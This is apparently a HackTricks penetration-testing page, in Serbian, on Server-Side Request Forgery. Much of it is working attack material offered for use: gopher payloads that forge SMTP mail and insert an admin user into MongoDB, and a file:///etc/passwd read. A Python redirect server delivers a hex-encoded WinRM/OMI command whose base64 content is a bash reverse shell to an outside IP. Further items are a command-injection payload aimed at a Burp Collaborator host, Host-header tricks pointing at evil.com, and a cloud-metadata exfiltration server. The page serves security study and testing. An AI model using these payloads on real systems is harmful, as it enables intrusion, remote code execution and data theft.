SSRF (Server Side Request Forgery)
Reading time: 25 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Server-side Request Forgery (SSRF) ranjivost se javlja kada napadač manipuliše server-side aplikacijom da pravi HTTP zahteve ka domenima po svom izboru. Ova ranjivost izlaže server proizvoljnim spoljnim zahtevima koje usmerava napadač.
Zabeležite SSRF
Prva stvar koju treba da uradite je da zabeležite SSRF interakciju koju ste generisali. Da biste zabeležili HTTP ili DNS interakciju, možete koristiti alate kao što su:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - Burp Collaborator koristeći ngrok
Zaobilaženje dozvoljenih domena
Obično ćete otkriti da SSRF funkcioniše samo u određenim dozvoljenim domenima ili URL-ovima. Na sledećoj stranici imate kompilaciju tehnika za pokušaj zaobilaženja te beleške:
Zaobilaženje putem otvorenog preusmeravanja
Ako je server pravilno zaštićen, mogli biste zaobići sve restrikcije iskorišćavanjem otvorenog preusmeravanja unutar web stranice. Pošto će web stranica dozvoliti SSRF ka istom domenu i verovatno će pratiti preusmeravanja, možete iskoristiti Otvoreno preusmeravanje da naterate server da pristupi unutrašnjem resursu.
Pročitajte više ovde: https://portswigger.net/web-security/ssrf
Protokoli
- file://
- URL šema
file://
se referencira, ukazujući direktno na/etc/passwd
:file:///etc/passwd
- dict://
- DICT URL šema se opisuje kao korišćena za pristup definicijama ili listama reči putem DICT protokola. Dati primer ilustruje konstruisani URL koji cilja određenu reč, bazu podataka i broj unosa, kao i primer PHP skripte koja se potencijalno može zloupotrebiti za povezivanje sa DICT serverom koristeći napadačem obezbeđene akreditive:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
- SFTP://
- Identifikovan kao protokol za sigurni prenos datoteka preko sigurnog šela, dat je primer kako se PHP skripta može zloupotrebiti za povezivanje sa zloćudnim SFTP serverom:
url=sftp://generic.com:11111/
- TFTP://
- Trivial File Transfer Protocol, koji radi preko UDP, pominje se sa primerom PHP skripte dizajnirane da pošalje zahtev TFTP serveru. TFTP zahtev se šalje 'generic.com' na portu '12346' za datoteku 'TESTUDPPACKET':
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
- LDAP://
- Ovaj segment pokriva Lightweight Directory Access Protocol, naglašavajući njegovu upotrebu za upravljanje i pristup distribuiranim informacijama o direktorijumima preko IP mreža. Interakcija sa LDAP serverom na localhost:
'%0astats%0aquit' putem ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
- SMTP
- Opisuje se metoda za iskorišćavanje SSRF ranjivosti za interakciju sa SMTP uslugama na localhost, uključujući korake za otkrivanje unutrašnjih imena domena i dalja istraživačka delovanja na osnovu tih informacija.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF bypass
- Ako se SSRF izvršava putem curl, curl ima funkciju koja se zove URL globbing koja može biti korisna za zaobilaženje WAF-ova. Na primer, u ovom writeup-u možete pronaći ovaj primer za path traversal putem
file
protokola:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Diskutuje se o sposobnosti Gopher protokola da specificira IP, port i bajtove za komunikaciju sa serverom, zajedno sa alatima kao što su Gopherus i remote-method-guesser za kreiranje payload-a. Ilustrovane su dve različite upotrebe:
Gopher://
Korišćenjem ovog protokola možete specificirati IP, port i bajtove koje želite da server pošalje. Tada možete u suštini iskoristiti SSRF da komunicirate sa bilo kojim TCP serverom (ali prvo morate znati kako da razgovarate sa uslugom).
Na sreću, možete koristiti Gopherus za kreiranje payload-a za nekoliko usluga. Pored toga, remote-method-guesser se može koristiti za kreiranje gopher payload-a za Java RMI usluge.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — Povratna veza na 1337
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Gopher MongoDB -- Kreirajte korisnika sa korisničkim imenom=admin, lozinkom=admin123 i dozvolom=administrator
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF putem Referrer header-a i drugih
Analitički softver na serverima često beleži Referrer header kako bi pratio dolazne linkove, praksa koja nenamerno izlaže aplikacije ranjivostima Server-Side Request Forgery (SSRF). To je zato što takav softver može posetiti spoljne URL-ove navedene u Referrer header-u kako bi analizirao sadržaj referalnih sajtova. Da bi se otkrile ove ranjivosti, preporučuje se Burp Suite dodatak "Collaborator Everywhere", koji koristi način na koji analitički alati obrađuju Referer header za identifikaciju potencijalnih površina napada SSRF.
SSRF putem SNI podataka iz sertifikata
Pogrešna konfiguracija koja bi mogla omogućiti vezu sa bilo kojim backend-om kroz jednostavnu postavku ilustrovana je primerom Nginx konfiguracije:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
U ovoj konfiguraciji, vrednost iz polja Server Name Indication (SNI) se direktno koristi kao adresa backend-a. Ova postavka izlaže ranjivost na Server-Side Request Forgery (SSRF), koja se može iskoristiti jednostavnim navođenjem željene IP adrese ili imena domena u SNI polju. Primer eksploatacije za forsiranje veze sa proizvoljnim backend-om, kao što je internal.host.com
, koristeći openssl
komandu je dat u nastavku:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
Wget file upload
SSRF sa Command Injection
Možda bi vredelo probati payload kao što je: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Renderovanje PDF-a
Ako web stranica automatski kreira PDF sa nekim informacijama koje ste pružili, možete ubaciti neki JS koji će biti izvršen od strane samog PDF kreatora (servera) prilikom kreiranja PDF-a i moći ćete da zloupotrebite SSRF. Pronađite više informacija ovde.
Od SSRF do DoS
Kreirajte nekoliko sesija i pokušajte da preuzmete teške fajlove koristeći SSRF iz sesija.
SSRF PHP Funkcije
Proverite sledeću stranicu za ranjive PHP i čak Wordpress funkcije:
SSRF Preusmeravanje na Gopher
Za neka eksploatisanja možda ćete morati da pošaljete odgovor na preusmeravanje (potencijalno da koristite drugi protokol kao što je gopher). Ovde imate različite python kodove za odgovor sa preusmeravanjem:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Pogrešno konfigurisani proksi za SSRF
Trikovi iz ovog posta.
Flask
Flask proksi ranjivi kod
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
if __name__ == "__main__":
app.run(threaded=False)
Flask omogućava korišćenje @
kao početnog karaktera, što omogućava da se početno ime hosta postavi kao korisničko ime i da se ubaci novo. Napadni zahtev:
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Vulnerabilan kod:
.png)
Otkriveno je da je moguće početi putanju zahteva sa karakterom ;
što omogućava korišćenje @
i injektovanje novog hosta za pristup. Napadni zahtev:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
PHP ugrađeni web server
Ranljiv PHP kod
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "\n\n";
$response = file_get_contents($proxy_site);
var_dump($response);
?>
PHP omogućava korišćenje karaktera *
pre kose crte u putanji URL-a, međutim, ima i druga ograničenja kao što su da se može koristiti samo za korenski putanju /
i da tačke .
nisu dozvoljene pre prve kose crte, tako da je potrebno koristiti IP adresu kodiranu u heksadecimalnom formatu bez tačaka, na primer:
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
DNS Rebidding CORS/SOP bypass
Ako imate problema da izvršite eksfiltraciju sadržaja sa lokalne IP adrese zbog CORS/SOP, DNS Rebidding se može koristiti za zaobilaženje te ograničenja:
CORS - Misconfigurations & Bypass
Automated DNS Rebidding
Singularity of Origin
je alat za izvođenje DNS rebinding napada. Uključuje potrebne komponente za ponovo povezivanje IP adrese DNS imena napadačkog servera sa IP adresom ciljne mašine i za pružanje napadačkih payload-a za iskorišćavanje ranjivog softvera na ciljnoj mašini.
Pogledajte takođe javni server koji radi na http://rebind.it/singularity.html
DNS Rebidding + TLS Session ID/Session ticket
Zahtevi:
- SSRF
- Outbound TLS sessions
- Stvari na lokalnim portovima
Napad:
- Zatražite od korisnika/bota da pristupi domeni koju kontroliše napadač
- TTL DNS-a je 0 sekundi (tako da će žrtva uskoro ponovo proveriti IP domena)
- TLS veza se uspostavlja između žrtve i domena napadača. Napadač unosi payload unutar Session ID ili Session Ticket.
- Domen će započeti beskonačnu petlju preusmeravanja protiv sebe. Cilj ovoga je da se korisnik/bot ponovo poveže na domen dok ne izvrši ponovo DNS zahtev za domen.
- U DNS zahtevu se sada daje privatna IP adresa (127.0.0.1 na primer)
- Korisnik/bot će pokušati da ponovo uspostavi TLS vezu i da bi to uradio, poslaće Session ID/Ticket ID (gde je payload napadača bio sadržan). Čestitamo, uspeli ste da zatražite da se korisnik/bot napadne sam.
Napomena: tokom ovog napada, ako želite da napadnete localhost:11211 (memcache), morate naterati žrtvu da uspostavi inicijalnu vezu sa www.attacker.com:11211 (port mora uvek biti isti).
Da izvršite ovaj napad možete koristiti alat: https://github.com/jmdx/TLS-poison/
Za više informacija pogledajte predavanje gde je ovaj napad objašnjen: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blind SSRF
Razlika između slepog SSRF-a i neslepog je u tome što u slepom ne možete videti odgovor na SSRF zahtev. Tada je teže iskoristiti jer ćete moći da iskoristite samo dobro poznate ranjivosti.
Time based SSRF
Proverom vremena odgovora sa servera može biti moguće znati da li resurs postoji ili ne (možda je potrebno više vremena za pristupanje postojećem resursu nego za pristupanje onom koji ne postoji)
From blind to full abusing status codes
Prema ovom blog postu, neki slepi SSRF-ovi mogu se desiti jer čak i ako ciljani URL odgovara sa 200 status kodom (kao AWS metapodaci), ovi podaci nisu pravilno formatirani i stoga aplikacija može odbiti da ih prikaže.
Međutim, otkriveno je da slanjem nekih preusmeravajućih odgovora od 305 do 309 u SSRF-u može biti moguće naterati aplikaciju da prati ova preusmeravanja dok ulazi u režim greške koji više neće proveravati format podataka i može ih samo ispisati.
Python server koji se koristi za iskorišćavanje ovoga je sledeći:
@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10: # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)
@app.route("/start")
def start():
return redirect("/redir", 302)
Koraci:
- Prvo 302 pokreće aplikaciju da počne da prati.
- Zatim prima 305 → 306 → 307 → 308 → 309 → 310.
- Nakon 5. čudnog koda, PoC konačno vraća 302 → 169.254.169.254 → 200 OK.
Šta se dešava unutar cilja:
- libcurl sam prati 305–310; samo normalizuje nepoznate kodove na “prati.”
- Nakon N čudnih preusmeravanja (≥ 5 ovde) aplikacija sama odlučuje da je “nešto čudno” i prelazi u režim greške namenjen debagovanju.
- U tom režimu ispisuje čitavu lanac preusmeravanja plus konačno telo nazad spoljašnjem pozivaocu.
- Rezultat: napadač vidi svaki header + metapodatke JSON, misija ostvarena.
Napomena da je ovo zanimljivo za otkrivanje status kodova koje niste mogli otkriti ranije (kao što je 200). Međutim, ako biste nekako mogli da odaberete status kod odgovora (zamislite da možete odlučiti da AWS metapodaci odgovaraju sa 500 status kodom), možda postoje neki status kodovi koji direktno otkrivaju sadržaj odgovora.
Cloud SSRF Eksploatacija
Ako pronađete SSRF ranjivost na mašini koja radi unutar cloud okruženja, možda ćete moći da dobijete zanimljive informacije o cloud okruženju i čak akreditive:
SSRF Ranjive Platforme
Nekoliko poznatih platformi sadrži ili je sadržalo SSRF ranjivosti, proverite ih u:
Alati
SSRFMap
Alat za otkrivanje i eksploataciju SSRF ranjivosti
Gopherus
Ovaj alat generiše Gopher payloads za:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser je Java RMI skener ranjivosti koji podržava operacije napada za većinu uobičajenih Java RMI ranjivosti. Većina dostupnih operacija podržava --ssrf
opciju, za generisanje SSRF payloada za traženu operaciju. Zajedno sa --gopher
opcijom, spremni za korišćenje gopher payloadi mogu se generisati direktno.
SSRF Proxy
SSRF Proxy je višedretveni HTTP proxy server dizajniran da tuneluje HTTP saobraćaj klijenata kroz HTTP servere ranjive na Server-Side Request Forgery (SSRF).
Da vežbate
Reference
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.